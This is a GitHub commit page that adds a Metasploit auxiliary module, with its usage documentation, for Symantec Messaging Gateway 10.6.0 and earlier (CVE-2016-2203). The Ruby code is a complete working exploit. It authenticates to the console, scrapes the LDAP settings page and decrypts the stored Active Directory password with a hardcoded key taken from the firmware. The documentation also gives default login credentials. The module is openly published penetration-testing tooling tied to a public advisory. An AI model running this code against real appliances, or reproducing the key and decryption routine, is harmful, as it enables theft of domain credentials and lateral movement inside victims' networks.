Skip to content

Commit db85f25

Browse files
committed
Land rapid7#6793, Add Symantec Messaging Gateway to extract stored AD pass
2 parents 8156859 + 036ba80 commit db85f25

File tree

2 files changed

+354
-0
lines changed

2 files changed

+354
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
Symantec Messaging Gateway is an all-in-one appliance to secure email with real-time antispam,
2+
antimalware, targeted attacks, content filtering, data loss, and email encryption.
3+
4+
The management console of SMG can be used to recover the AD password by any user with at least
5+
read access to the appliance, which could potentially permit leveraging unauthorized, elevated
6+
access to other resources of the network.
7+
8+
Authentication is required to use symantec_brightmail_ldapcreds. However, it is possible to see
9+
SMG with using the default username **admin** and **symantec**.
10+
11+
12+
## Vulnerable Application
13+
14+
Symantec Messaging Gateway 10.6.0 and earlier are known to be vulnerable.
15+
16+
symantec_brightmail_ldapcreds was specifically tested against 10.6.0 during development.
17+
18+
## Verification Steps
19+
20+
These verification steps assume you already have access to the vulnerable version of
21+
[Symantec Messaging Gateway](https://www.symantec.com/products/threat-protection/messaging-gateway).
22+
During the development of symantec_brightmail_ldapcreds, Symantec was still providing 10.6.0 as a trial.
23+
24+
**Installation**
25+
26+
The 10.6.0 installation guide can be found [here](https://symwisedownload.symantec.com//resources/sites/SYMWISE/content/live/DOCUMENTATION/9000/DOC9108/en_US/smg_10.6_installation_guide.pdf?__gda__=1465490103_20360f5503fd3ef6ce426bd541fd2109)
27+
28+
Make sure you remember your username and password for Symantec Messaging Gateway before using
29+
the module.
30+
31+
**Using the Module**
32+
33+
Once you have the vulnerable setup ready, go ahead and do this:
34+
35+
1. Start msfconsole
36+
2. Do: ```use auxiliary/scanner/http/symantec_brightmail_ldapcreds```
37+
3. Do: ```set RHOSTS [IP]```
38+
4. Do: ```set USERNAME [USERNAME FOR SMG]```
39+
5. Do: ```set PASSWORD [PASSWORD FOR SMG]```
40+
6. Do: ```run```
Lines changed: 314 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,314 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'digest'
8+
require "openssl"
9+
10+
11+
class MetasploitModule < Msf::Auxiliary
12+
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Exploit::Remote::HttpClient
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability',
19+
'Description' => %q{
20+
This module will grab the AD account saved in Symantec Messaging Gateway and then
21+
decipher it using the disclosed Symantec PBE key. Note that authentication is required
22+
in order to successfully grab the LDAP credentials, and you need at least a read account.
23+
Version 10.6.0-7 and earlier are affected
24+
},
25+
'References' =>
26+
[
27+
['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
28+
['CVE','2016-2203'],
29+
['BID','86137']
30+
],
31+
'Author' =>
32+
[
33+
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'SSL' => true,
38+
'SSLVersion' => 'TLS1',
39+
'RPORT' => 443
40+
},
41+
'License' => MSF_LICENSE,
42+
'DisclosureDate' => 'Dec 17 2015'
43+
))
44+
45+
register_options(
46+
[
47+
Opt::RPORT(443),
48+
OptString.new('USERNAME', [true, 'The username to login as']),
49+
OptString.new('PASSWORD', [true, 'The password to login with']),
50+
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
51+
], self.class)
52+
53+
deregister_options('RHOST')
54+
end
55+
56+
def print_status(msg='')
57+
super(rhost ? "#{peer} - #{msg}" : msg)
58+
end
59+
60+
def print_good(msg='')
61+
super("#{peer} - #{msg}")
62+
end
63+
64+
def print_error(msg='')
65+
super("#{peer} - #{msg}")
66+
end
67+
68+
def report_cred(opts)
69+
service_data = {
70+
address: opts[:ip],
71+
port: opts[:port],
72+
service_name: 'LDAP',
73+
protocol: 'tcp',
74+
workspace_id: myworkspace_id
75+
}
76+
credential_data = {
77+
origin_type: :service,
78+
module_fullname: fullname,
79+
username: opts[:user],
80+
private_data: opts[:password],
81+
private_type: :password
82+
}.merge(service_data)
83+
login_data = {
84+
last_attempted_at: DateTime.now,
85+
core: create_credential(credential_data),
86+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
87+
proof: opts[:proof]
88+
}.merge(service_data)
89+
90+
create_credential_login(login_data)
91+
end
92+
93+
def auth(username, password, sid, last_login)
94+
sid2 = ''
95+
96+
res = send_request_cgi!({
97+
'method' => 'POST',
98+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
99+
'headers' => {
100+
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
101+
'Connection' => 'keep-alive'
102+
},
103+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
104+
'vars_post' => {
105+
'lastlogin' => last_login,
106+
'userLocale' => '',
107+
'lang' => 'en_US',
108+
'username' => username,
109+
'password' => password,
110+
'loginBtn' => 'Login'
111+
}
112+
})
113+
114+
if res &&res.body =~ /Logged in/
115+
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
116+
return sid2
117+
end
118+
119+
nil
120+
end
121+
122+
def get_login_data
123+
sid = '' #From cookie
124+
last_login = '' #A hidden field in the login page
125+
126+
res = send_request_raw({
127+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
128+
})
129+
130+
if res
131+
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
132+
133+
unless res.get_cookies.empty?
134+
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
135+
end
136+
end
137+
138+
return sid, last_login
139+
end
140+
141+
142+
# Returns the status of the listening port.
143+
#
144+
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
145+
def port_open?
146+
begin
147+
res = send_request_raw({
148+
'method' => 'GET',
149+
'uri' => normalize_uri(target_uri.path)
150+
})
151+
152+
return true if res
153+
rescue ::Rex::ConnectionRefused
154+
print_status("Connection refused")
155+
rescue ::Rex::ConnectionError
156+
print_error("Connection failed")
157+
rescue ::OpenSSL::SSL::SSLError
158+
print_error("SSL/TLS connection error")
159+
end
160+
161+
false
162+
end
163+
164+
# Returns the derived key from the password, the salt and the iteration count number.
165+
#
166+
# @return Array of byte containing the derived key.
167+
def get_derived_key(password, salt, count)
168+
key = password + salt
169+
170+
for i in 0..count-1
171+
key = Digest::MD5.digest(key)
172+
end
173+
174+
kl = key.length
175+
176+
return key[0,8], key[8,kl]
177+
end
178+
179+
# Returns the decoded Base64 data in RFC-4648 implementation.
180+
# The Rex implementation decoding Base64 is by using unpack("m").
181+
# By default, the "m" directive uses RFC-2045, but if followed by 0,
182+
# it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses.
183+
def strict_decode64(str)
184+
"#{Rex::Text.decode_base64(str)}0"
185+
end
186+
187+
188+
# @Return the deciphered password
189+
# Algorithm obtained by reversing the firmware
190+
def decrypt(enc_str)
191+
pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
192+
salt = strict_decode64(enc_str[0,12])
193+
remsg = strict_decode64(enc_str[12,enc_str.length])
194+
(dk, iv) = get_derived_key(pbe_key, salt, 1000)
195+
alg = 'des-cbc'
196+
197+
decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
198+
decode_cipher.decrypt
199+
decode_cipher.padding = 0
200+
decode_cipher.key = dk
201+
decode_cipher.iv = iv
202+
plain = decode_cipher.update(remsg)
203+
plain << decode_cipher.final
204+
205+
plain.gsub(/[\x01-\x08]/,'')
206+
end
207+
208+
209+
def grab_auths(sid,last_login)
210+
token = '' # from hidden input
211+
selected_ldap = '' # from checkbox input
212+
new_uri = '' # redirection
213+
flow_id = '' # id of the flow
214+
folder = '' # symantec folder
215+
216+
res = send_request_cgi({
217+
'method' => 'GET',
218+
'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$exec.flo'),
219+
'headers' => {
220+
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
221+
'Connection' => 'keep-alive'
222+
},
223+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
224+
})
225+
226+
unless res
227+
fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.')
228+
end
229+
230+
token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || ''
231+
232+
res = send_request_cgi({
233+
'method' => 'POST',
234+
'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$edit.flo'),
235+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
236+
'vars_post' =>
237+
{
238+
'flowId' => '0',
239+
'userLocale' => '',
240+
'lang' => 'en_US',
241+
'symantec.brightmail.key.TOKEN'=> "#{token}"
242+
},
243+
'headers' =>
244+
{
245+
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
246+
'Connection' => 'keep-alive'
247+
}
248+
})
249+
250+
unless res
251+
fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.')
252+
end
253+
254+
if res.headers['Location']
255+
mlocation = res.headers['Location']
256+
new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
257+
flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
258+
folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
259+
end
260+
261+
res = send_request_cgi({
262+
'method' => 'GET',
263+
'uri' => "#{folder}",
264+
'headers' => {
265+
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
266+
'Connection' => 'keep-alive'
267+
},
268+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
269+
'vars_get' => {
270+
'flowId' => "#{flow_id}",
271+
'userLocale' => '',
272+
'lang' => 'en_US'
273+
}
274+
})
275+
276+
unless res
277+
fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.')
278+
end
279+
280+
if res.code == 200
281+
login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
282+
password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
283+
host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
284+
port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
285+
password = decrypt(password)
286+
print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
287+
report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
288+
end
289+
end
290+
291+
def run_host(ip)
292+
unless port_open?
293+
print_status("Port is not open.")
294+
end
295+
296+
sid, last_login = get_login_data
297+
298+
if sid.empty? || last_login.empty?
299+
print_error("Missing required login data. Cannot continue.")
300+
return
301+
end
302+
303+
username = datastore['USERNAME']
304+
password = datastore['PASSWORD']
305+
sid = auth(username, password, sid, last_login)
306+
307+
if sid
308+
print_good("Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
309+
grab_auths(sid,last_login)
310+
else
311+
print_error("Unable to login. Cannot continue.")
312+
end
313+
end
314+
end

0 commit comments

Comments
 (0)